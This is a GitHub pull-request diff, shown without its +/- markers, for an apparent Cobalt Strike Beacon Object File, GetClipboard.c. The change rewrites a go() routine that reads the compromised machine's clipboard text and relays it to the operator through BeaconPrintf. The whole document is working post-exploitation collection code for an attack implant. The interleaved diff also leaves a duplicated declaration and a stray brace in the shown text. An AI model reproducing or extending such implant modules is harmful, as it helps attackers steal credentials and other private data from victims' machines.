Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
50 changes: 40 additions & 10 deletions Collection/Clipboard/GetClipboard.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,47 @@
#include <winuser.h>
#include "beacon.h"

DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND);
DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT);
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL);


void go() {

HWND owner = KERNEL32$GetConsoleWindow();
USER32$OpenClipboard(owner);
owner = USER32$GetClipboardData(CF_TEXT);
BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);;
void go() {
HANDLE hClipData = NULL;
char* pClipText = NULL;

if (!USER32$IsClipboardFormatAvailable(CF_TEXT)) {
BeaconPrintf(CALLBACK_ERROR, "[!] No text data available in clipboard\n");
return;
}

if (!USER32$OpenClipboard(NULL)) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to open clipboard\n");
return;
}

hClipData = USER32$GetClipboardData(CF_TEXT);
if (hClipData == NULL) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to retrieve clipboard data\n");
USER32$CloseClipboard();
return;
}

pClipText = (char*)KERNEL32$GlobalLock(hClipData);
if (pClipText == NULL) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to lock clipboard data\n");
USER32$CloseClipboard();
return;
}

if (strlen(pClipText) == 0) {
BeaconPrintf(CALLBACK_OUTPUT, "[*] Clipboard is empty\n");
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Clipboard contents:\n%s\n", pClipText);
}

KERNEL32$GlobalUnlock(hClipData);
USER32$CloseClipboard();
}
}